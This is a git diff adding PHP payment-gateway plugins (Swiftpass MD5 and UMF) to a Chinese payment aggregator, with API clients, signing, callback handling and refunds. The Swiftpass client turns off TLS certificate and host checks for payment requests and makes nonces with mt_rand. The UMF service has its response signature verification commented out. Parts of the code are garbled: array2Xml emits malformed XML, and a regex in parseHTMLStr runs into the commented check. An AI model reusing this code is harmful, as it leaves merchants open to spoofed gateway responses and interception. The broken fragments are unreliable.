$siteurl.'pay/return/'.TRADE_NO.'/' + ]; + + $client = new SwiftpassClient($pay_config); + $result = $client->requestApi($params); + $pay_info = $result['pay_info']; + return $pay_info; + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + $code_url = self::nativepay('pay.alipay.native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信扫码支付 + static public function wxpay(){ + try{ + $code_url = self::nativepay('pay.weixin.native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + + //QQ扫码支付 + static public function qqpay(){ + try{ + $code_url = self::nativepay('pay.tenpay.native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败 '.$ex->getMessage()]; + } + + if(checkmobile() && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$code_url]; + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::nativepay('pay.unionpay.native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //京东扫码支付 + static public function jdpay(){ + try{ + $code_url = self::nativepay('pay.jdpay.native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'京东支付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'jdpay_qrcode','url'=>$code_url]; + } + + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if($channel['appwxmp']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + try{ + $pay_info = self::weixinjspay($wxinfo['appid'], $openid); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$pay_info, 'redirect_url'=>$redirect_url]]; + }else{ + $code_url = self::nativepay('unified.trade.native'); + return ['type'=>'jump','url'=>$code_url]; + } + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + try{ + $pay_info = self::weixinjspay($wxinfo['appid'], $openid, '1'); + }catch(Exception $ex){ + exit(json_encode(['code'=>-1, 'msg'=>'微信支付下单失败 '.$ex->getMessage()])); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($pay_info, true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if($channel['appswitch']==1){ + try{ + $pay_info = self::weixinh5pay(); + return ['type'=>'jump','url'=>$pay_info]; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + }elseif($channel['appwxa']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + try{ + $client = new SwiftpassClient($pay_config); + $result = $client->notify(); + if($result['status'] == '0' && $result['result_code'] == '0'){ + if($result['out_trade_no'] == TRADE_NO && $result['total_fee']==strval($order['realmoney']*100)){ + processNotify($order, $result['transaction_id'], $result['openid']); + } + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'failure']; + } + }catch(Exception $e){ + return ['type'=>'html','data'=>$e->getMessage()]; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => 'unified.trade.refund', + 'transaction_id' => $order['api_trade_no'], + 'out_refund_no' => $order['refund_no'], + 'total_fee' => strval($order['realmoney']*100), + 'refund_fee' => strval($order['refundmoney']*100), + 'op_user_id' => $pay_config['mchid'], + ]; + + try{ + $client = new SwiftpassClient($pay_config); + $data = $client->requestApi($params); + $result = ['code'=>0, 'trade_no'=>$data['refund_id'], 'refund_fee'=>$data['refund_fee']]; + }catch(Exception $e){ + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } +} \ No newline at end of file diff --git a/plugins/swiftpass2/inc/SwiftpassClient.class.php b/plugins/swiftpass2/inc/SwiftpassClient.class.php new file mode 100644 index 0000000..f593e91 --- /dev/null +++ b/plugins/swiftpass2/inc/SwiftpassClient.class.php @@ -0,0 +1,292 @@ +signType = $config['sign_type']; + if (empty($config['mchid'])) { + throw new \InvalidArgumentException("商户号不能为空"); + } + $this->mchId = $config['mchid']; + if ($this->signType == 'MD5') { + if (empty($config['key'])) { + throw new \InvalidArgumentException("商户密钥不能为空"); + } + $this->key = $config['key']; + } + if (substr($this->signType, 0, 3) == 'RSA') { + if (empty($config['rsa_private_key']) || empty($config['rsa_public_key'])) { + throw new \InvalidArgumentException("商户私钥/平台公钥不能为空"); + } + $this->rsaPrivateKey = $config['rsa_private_key']; + $this->rsaPublicKey = $config['rsa_public_key']; + } + if (!empty($config['gateway_url'])) { + $this->gatewayUrl = $config['gateway_url']; + } + } + + /** + * 发起请求并解析返回结果 + */ + public function requestApi($params) + { + if (empty($params['service'])) { + throw new \InvalidArgumentException("service参数不能为空"); + } + $publicParams = [ + 'mch_id' => $this->mchId, + 'version' => $this->version, + 'sign_type' => $this->signType, + 'nonce_str' => $this->getNonceStr() + ]; + $params = array_merge($publicParams, $params); + $params['sign'] = $this->makeSign($params); + + $xml = $this->array2Xml($params); + $response = $this->curl($this->gatewayUrl, $xml); + $result = $this->xml2array($response); + if (isset($result['status']) && $result['status'] == '0') { + if (!$this->verifySign($result)) { + throw new Exception('返回数据签名校验失败'); + } + if (isset($result['result_code']) && $result['result_code'] == '0') { + return $result; + } else { + throw new \Exception('['.$result['err_code'].']'.$result['err_msg']); + } + } elseif(isset($result['message'])) { + throw new \Exception($result['message']); + } else { + throw new \Exception('返回数据解析失败'); + } + } + + /** + * 支付结果通知 + * @return bool|mixed + */ + public function notify() + { + $xml = file_get_contents("php://input"); + if (empty($xml)) { + throw new \Exception('no_data'); + } + $result = $this->xml2array($xml); + if (!$result) { + throw new \Exception('xml_error'); + } + if (!$this->verifySign($result)) { + throw new \Exception('sign_error'); + } + return $result; + } + + /** + * 验证签名 + */ + private function verifySign($params) + { + if(!isset($params['sign'])) return false; + $signStr = $this->getSignContent($params); + if (substr($this->signType, 0, 3) == 'RSA') { + return $this->rsaPublicVerify($signStr, $params['sign']); + } else { + $sign = md5($signStr . '&key=' . $this->key); + $sign = strtoupper($sign); + return $params['sign'] === $sign; + } + } + + /** + * 生成签名 + * @param $params + * @return string + */ + private function makeSign($params) + { + $signStr = $this->getSignContent($params); + if (substr($this->signType, 0, 3) == 'RSA') { + $sign = $this->rsaPrivateSign($signStr); + } else { + $sign = md5($signStr . '&key=' . $this->key); + $sign = strtoupper($sign); + } + return $sign; + } + + /** + * 生成待签名字符串 + */ + private function getSignContent($params) + { + ksort($params); + $signStr = ''; + foreach ($params as $k => $v) { + if($k != 'sign' && !$this->isEmpty($v)){ + $signStr .= $k . '=' . $v . '&'; + } + } + $signStr = substr($signStr, 0, -1); + return $signStr; + } + + /** + * 商户RSA私钥签名 + */ + private function rsaPrivateSign($data) + { + $key = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($this->rsaPrivateKey, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $privatekey = openssl_get_privatekey($key); + if (!$privatekey) { + throw new \Exception("签名失败,商户RSA私钥错误"); + } + if ($this->signType == 'RSA_1_1') { + openssl_sign($data, $sign, $privatekey); + } else if ($this->signType == 'RSA_1_256') { + openssl_sign($data, $sign, $privatekey, OPENSSL_ALGO_SHA256); + } + return base64_encode($sign); + } + + /** + * 平台公钥验签 + */ + private function rsaPublicVerify($data, $sign) + { + $key = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($this->rsaPublicKey, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $publickey = openssl_get_publickey($key); + if (!$publickey) { + throw new \Exception("验签失败,平台RSA公钥错误"); + } + if ($this->signType == 'RSA_1_1') { + $result = openssl_verify($data, base64_decode($sign), $publickey); + } else if ($this->signType == 'RSA_1_256') { + $result = openssl_verify($data, base64_decode($sign), $publickey, OPENSSL_ALGO_SHA256); + } + return $result === 1; + } + + /** + * 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符. + * + * @param string|null $value + * + * @return bool + */ + private function isEmpty($value) + { + return $value === null || trim($value) === ''; + } + + /** + * 产生随机字符串,不长于32位 + * @param int $length + * @return 产生的随机字符串 + */ + private function getNonceStr($length = 32) + { + $chars = "abcdefghijklmnopqrstuvwxyz0123456789"; + $str = ""; + for ($i = 0; $i < $length; $i++) { + $str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); + } + return $str; + } + + /** + * 转为XML数据 + * @param array $data 源数据 + * @return string + */ + private function array2Xml($data) + { + if (!is_array($data)) { + return false; + } + $xml = ''; + foreach ($data as $key => $val) { + $xml .= (is_numeric($val) ? "<{$key}>{$val}" : "<{$key}>"); + } + return $xml . ''; + } + + /** + * 解析XML数据 + * @param string $xml 源数据 + * @return mixed + */ + private function xml2array($xml) + { + if (!$xml) { + return false; + } + if(function_exists('libxml_disable_entity_loader')) { + libxml_disable_entity_loader(true); + } + return json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA), JSON_UNESCAPED_UNICODE), true); + } + + /** + * 以post方式提交xml到对应的接口url + * @param string $url url + * @param string $xml 需要post的xml数据 + * @param int $second url执行超时时间 + * @return string + */ + private function curl($url, $xml, $second = 10) + { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_TIMEOUT, $second); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $xml); + $data = curl_exec($ch); + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new \Exception('call http err :'.$errmsg, 0); + } + $httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + if ($httpStatusCode != 200) { + curl_close($ch); + throw new \Exception('call http err httpcode='.$httpStatusCode, $httpStatusCode); + } + curl_close($ch); + return $data; + } +} \ No newline at end of file diff --git a/plugins/swiftpass2/inc/SwiftpassConfig.php b/plugins/swiftpass2/inc/SwiftpassConfig.php new file mode 100644 index 0000000..c4bfc7a --- /dev/null +++ b/plugins/swiftpass2/inc/SwiftpassConfig.php @@ -0,0 +1,15 @@ + $channel['appurl'], + + //签名类型 + 'sign_type' => 'MD5', + + //商户号 + 'mchid' => $channel['appid'], + + //商户MD5密钥 + 'key' => $channel['appkey'], +]; +return $swiftpass_config; \ No newline at end of file diff --git a/plugins/swiftpass2/swiftpass2_plugin.php b/plugins/swiftpass2/swiftpass2_plugin.php new file mode 100644 index 0000000..e6ec388 --- /dev/null +++ b/plugins/swiftpass2/swiftpass2_plugin.php @@ -0,0 +1,372 @@ + 'swiftpass2', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '威富通MD5', //支付插件显示名称 + 'author' => '威富通', //支付插件作者 + 'link' => 'https://www.swiftpass.cn/', //支付插件作者链接 + 'types' => ['alipay','wxpay','qqpay','bank','jdpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户密钥', + 'type' => 'input', + 'note' => '', + ], + 'appurl' => [ + 'name' => '自定义网关URL', + 'type' => 'input', + 'note' => '可不填,默认是https://pay.swiftpass.cn/pay/gateway', + ], + 'appswitch' => [ + 'name' => '微信是否支持H5', + 'type' => 'select', + 'options' => [0=>'否',1=>'是'], + ], + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='qqpay'){ + return ['type'=>'jump','url'=>'/pay/qqpay/'.TRADE_NO.'/']; + }elseif($order['typename']=='jdpay'){ + return ['type'=>'jump','url'=>'/pay/jdpay/'.TRADE_NO.'/']; + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat'){ + if ($channel['appwxmp']>0) { + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }else{ + return self::wxjspay(); + } + }elseif($device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='qqpay'){ + return self::qqpay(); + }elseif($order['typename']=='jdpay'){ + return self::jdpay(); + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //扫码通用 + static private function nativepay($service){ + global $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => $service, + 'body' => $ordername, + 'total_fee' => strval($order['realmoney']*100), + 'mch_create_ip' => $clientip, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + ]; + + $client = new SwiftpassClient($pay_config); + $result = $client->requestApi($params); + $code_url = $result['code_url']; + if(strpos($code_url,'myun.tenpay.com')){ + $qrcode=explode('&t=',$code_url); + $code_url = 'https://qpay.qq.com/qr/'.$qrcode[1]; + } + return $code_url; + } + + //微信JS支付 + static private function weixinjspay($sub_appid, $sub_openid, $is_minipg = 0){ + global $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => 'pay.weixin.jspay', + 'is_raw' => '1', + 'is_minipg' => strval($is_minipg), + 'body' => $ordername, + 'sub_appid' => $sub_appid, + 'sub_openid' => $sub_openid, + 'total_fee' => strval($order['realmoney']*100), + 'mch_create_ip' => $clientip, + 'out_trade_no' => TRADE_NO, + 'device_info' => 'AND_WAP', + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + ]; + + $client = new SwiftpassClient($pay_config); + $result = $client->requestApi($params); + $pay_info = $result['pay_info']; + return $pay_info; + } + + //微信H5支付 + static private function weixinh5pay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => 'pay.weixin.wappay', + 'body' => $ordername, + 'total_fee' => strval($order['realmoney']*100), + 'mch_create_ip' => $clientip, + 'out_trade_no' => TRADE_NO, + 'device_info' => 'AND_WAP', + 'mch_app_name' => $conf['sitename'], + 'mch_app_id' => $siteurl, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'callback_url' => $siteurl.'pay/return/'.TRADE_NO.'/' + ]; + + $client = new SwiftpassClient($pay_config); + $result = $client->requestApi($params); + $pay_info = $result['pay_info']; + return $pay_info; + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + $code_url = self::nativepay('pay.alipay.native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信扫码支付 + static public function wxpay(){ + try{ + $code_url = self::nativepay('pay.weixin.native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + + //QQ扫码支付 + static public function qqpay(){ + try{ + $code_url = self::nativepay('pay.tenpay.native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败 '.$ex->getMessage()]; + } + + if(checkmobile() && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$code_url]; + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::nativepay('pay.unionpay.native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //京东扫码支付 + static public function jdpay(){ + try{ + $code_url = self::nativepay('pay.jdpay.native'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'京东支付下单失败 '.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'jdpay_qrcode','url'=>$code_url]; + } + + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if($channel['appwxmp']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + try{ + $pay_info = self::weixinjspay($wxinfo['appid'], $openid); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$pay_info, 'redirect_url'=>$redirect_url]]; + }else{ + $code_url = self::nativepay('unified.trade.native'); + return ['type'=>'jump','url'=>$code_url]; + } + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + try{ + $pay_info = self::weixinjspay($wxinfo['appid'], $openid, '1'); + }catch(Exception $ex){ + exit(json_encode(['code'=>-1, 'msg'=>'微信支付下单失败 '.$ex->getMessage()])); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($pay_info, true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if($channel['appswitch']==1){ + try{ + $pay_info = self::weixinh5pay(); + return ['type'=>'jump','url'=>$pay_info]; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + }elseif($channel['appwxa']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + try{ + $client = new SwiftpassClient($pay_config); + $result = $client->notify(); + if($result['status'] == '0' && $result['result_code'] == '0'){ + if($result['out_trade_no'] == TRADE_NO && $result['total_fee']==strval($order['realmoney']*100)){ + processNotify($order, $result['transaction_id'], $result['openid']); + } + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'failure']; + } + }catch(Exception $e){ + return ['type'=>'html','data'=>$e->getMessage()]; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => 'unified.trade.refund', + 'transaction_id' => $order['api_trade_no'], + 'out_refund_no' => $order['refund_no'], + 'total_fee' => strval($order['realmoney']*100), + 'refund_fee' => strval($order['refundmoney']*100), + 'op_user_id' => $pay_config['mchid'], + ]; + + try{ + $client = new SwiftpassClient($pay_config); + $data = $client->requestApi($params); + $result = ['code'=>0, 'trade_no'=>$data['refund_id'], 'refund_fee'=>$data['refund_fee']]; + }catch(Exception $e){ + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } +} \ No newline at end of file diff --git a/plugins/umfpay/inc/UmfService.class.php b/plugins/umfpay/inc/UmfService.class.php new file mode 100644 index 0000000..4a7e7ac --- /dev/null +++ b/plugins/umfpay/inc/UmfService.class.php @@ -0,0 +1,203 @@ +mer_id = $mer_id; + if (!file_exists(PAY_ROOT . 'cert/cert.pem')) { + throw new Exception('请将平台公钥cert.pem放到/plugins/umfpay/cert/文件夹下'); + } + if (!file_exists(PAY_ROOT . 'cert/key.pem')) { + throw new Exception('请将商户私钥key.pem放到/plugins/umfpay/cert/文件夹下'); + } + $this->platform_public_key = file_get_contents(PAY_ROOT . 'cert/cert.pem'); + $this->merchant_private_key = file_get_contents(PAY_ROOT . 'cert/key.pem'); + } + + //发起API请求 + public function submit($params){ + $public_params = [ + 'charset' => $this->charset, + 'sign_type' => $this->sign_type, + 'res_format' => $this->res_format, + 'version' => $this->version, + 'amt_type' => 'RMB', + 'mer_id' => $this->mer_id, + ]; + + $params = array_merge($public_params, $params); + $params = $this->doEncrypt($params); + $params['sign'] = $this->generateSign($params); + + $response = get_curl($this->pay_req_url, http_build_query($params)); + if(!$response){ + throw new Exception('请求接口失败'); + } + //对账直接返回 + if($params["service"] == "download_settle_file"){ + return $response; + } + return $this->parseHTMLStr($response); + } + + //获取支付跳转链接 + public function getpayurl($params){ + $public_params = [ + 'charset' => $this->charset, + 'sign_type' => $this->sign_type, + 'res_format' => $this->res_format, + 'version' => $this->version, + 'amt_type' => 'RMB', + 'mer_id' => $this->mer_id, + ]; + + $params = array_merge($public_params, $params); + $params = $this->doEncrypt($params); + $params['sign'] = $this->generateSign($params); + + $url = $this->pay_req_url . '?' . http_build_query($params); + + return $url; + } + + private function parseHTMLStr($htmlStr){ + preg_match('/verifySign($params)){ + // throw new Exception('平台响应数据验证签名失败'); + //} + return $params; + } + + public function responseUMFstr($params){ + $public_params = [ + 'sign_type' => $this->sign_type, + 'version' => $this->version, + 'mer_id' => $this->mer_id, + 'ret_code' => '0000', + 'ret_msg' => 'success' + ]; + + $params = array_merge($public_params, $params); + $params['sign'] = $this->generateSign($params); + $str = ''; + foreach($params as $key=>$value){ + $str .= $key.'='.$value.'&'; + } + $str = substr($str,0,-1); + return $str; + } + + //获取待签名字符串 + private function getSignContent($param){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $k != "sign_type" && $v!=''){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + return $signstr; + } + + //请求参数签名 + private function generateSign($param){ + return $this->rsaPrivateSign($this->getSignContent($param)); + } + + //验签方法 + public function verifySign($param){ + if(empty($param['sign'])) return false; + return $this->rsaPubilcVerify($this->getSignContent($param), $param['sign']); + } + + //敏感字段加密 + private function doEncrypt($param) { + $chkKeys = array( + "card_id", + "valid_date", + "cvv2", + "pass_wd", + "identity_code", + "card_holder", + "recv_account", + "recv_user_name", + "identity_holder", + "identityCode", + "cardHolder", + "mer_cust_name", + "account_name", + "bank_account", + "endDate", + ); + foreach($chkKeys as $key){ + if(isset($param[$key])){ + $param[$key] = $this->rsaPubilcEncrypt($param[$key]); + } + } + return $param; + } + + //商户私钥签名 + private function rsaPrivateSign($data){ + $pkeyid = openssl_get_privatekey($this->merchant_private_key); + if(!$pkeyid){ + throw new Exception('签名失败,商户私钥不正确'); + } + openssl_sign($data, $signature, $pkeyid); + $signature = base64_encode($signature); + return $signature; + } + + //平台公钥验签 + private function rsaPubilcVerify($data, $signature){ + $pubkeyid = openssl_get_publickey($this->platform_public_key); + if(!$pubkeyid){ + throw new Exception('验签失败,平台公钥不正确'); + } + $result = openssl_verify($data, base64_decode($signature), $pubkeyid); + return $result; + } + + //平台公钥加密 + private function rsaPubilcEncrypt($data){ + $pubkeyid = openssl_get_publickey($this->platform_public_key); + if(!$pubkeyid){ + throw new Exception('加密失败,平台公钥不正确'); + } + openssl_public_encrypt($data, $encrypted, $pubkeyid); + $encrypted = base64_encode($encrypted); + return $encrypted; + } + + //商户私钥解密 + private function rsaPrivateDecrypt($data){ + $pkeyid = openssl_get_privatekey($this->merchant_private_key); + if(!$pkeyid){ + throw new Exception('解密失败,商户私钥不正确'); + } + openssl_private_decrypt(base64_decode($data), $decrypted, $pkeyid); + return $decrypted; + } +} \ No newline at end of file diff --git a/plugins/umfpay/umfpay_plugin.php b/plugins/umfpay/umfpay_plugin.php new file mode 100644 index 0000000..4b0f464 --- /dev/null +++ b/plugins/umfpay/umfpay_plugin.php @@ -0,0 +1,232 @@ + 'umfpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '联动优势', //支付插件显示名称 + 'author' => '联动优势', //支付插件作者 + 'link' => 'https://xy.umfintech.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户编号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户密钥', + 'type' => 'input', + 'note' => '此项随便填写', + ], + ], + 'select' => null, + 'note' => '将平台公钥cert.pem和商户私钥key.pem放到/plugins/umfpay/cert/文件夹下', 